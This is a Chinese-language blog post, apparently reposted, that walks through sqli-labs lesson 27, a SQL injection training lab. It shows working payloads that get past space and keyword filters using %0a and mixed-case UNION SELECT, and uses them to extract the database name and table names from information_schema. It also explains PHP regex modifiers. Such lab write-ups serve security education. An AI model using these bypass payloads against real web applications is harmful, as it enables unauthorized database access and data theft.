sqli-labs(27)

0X01

先查询闭合

?id=1' 报错 
?id=1'' 正确

知道是’的闭合语句

0X02那么开始我们的注入之旅

空格过滤了 尝试一下%0a绕过  #也被过滤了 那么用and '1'='1构造闭合

?id=1'||'1'='1

显示正确 

我们来爆一下数据名称  哦豁 union select 被过滤了

/?id=1'%0Aunion%0Aselect%0A1,database(),3||'1'='1

那我们绕过看看行吗? double

?id=1'%0Auniunionon%0Aseselectlect%0A1,database(),3||'1'='1

不得行不得行 那我们怎么绕过呀? 可以偷偷看看源码

 

 正则表达式

PHP语法
正则表达式

PHP正则表达式的模式修饰符(官方文档)
PHP正则中的i,m,s,x,e

  • i
    如果设定了此修正符,模式中的字符将同时匹配大小写字母。
  • m
    如果设定了此修正符,行起始和行结束除了匹配整个字符串开头和结束外,还分别匹配其中的换行符的之后和之前。
  • s
    如果设定了此修正符,模式中的圆点元字符.匹配所有的字符,包括换行符。没有此设定的话,则不包括换行符。
  • x
    如果设定了此修正符,模式中的空白字符除了被转义的或在字符类中的以外完全被忽略,在未转义的字符类之外的#以及下一个换行符之间的所有字符,包括两头,也都被忽略。
  • e
    如果设定了此修正符,preg_replace()在替换字符串中对逆向引用作正常的替换。
  • ?
    ./+/*之后表示非贪婪匹配,./+/*限定符都是贪婪的,它们会尽可能多的匹配文字,在它们的后面加上一个?就可以实现非贪婪或最小匹配。
那么我们继续构造
爆数据库 这里 正则过滤了-号所以不能用-1
?id=999'%0AUNion%0ASElEct%0A1,database(),3||'1'='1

0X02爆表名

?id=999'%0AUNion%0ASElEct%0A1,(SELEct%0Atable_name%0Afrom%0Ainformation_schema.tables%0Awhere%0Atable_schema='security'%0Alimit%0A0,1),3||'1'='1

这里剩下的操作就是一套组合拳了

那么 我们进行一下总结吧

1 这里空格%0a代替 不知道26a和26关为什么不行

2这里正则表达式是只要你含有 就会一直匹配 双写不能绕过

3当-1不能用的时候 随便用一个错误的值把显示的位置让出来 给你要的数据

4 学习之路 少就是多 慢就是快

加油

转载于:https://www.cnblogs.com/-zhong/p/10941074.html

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值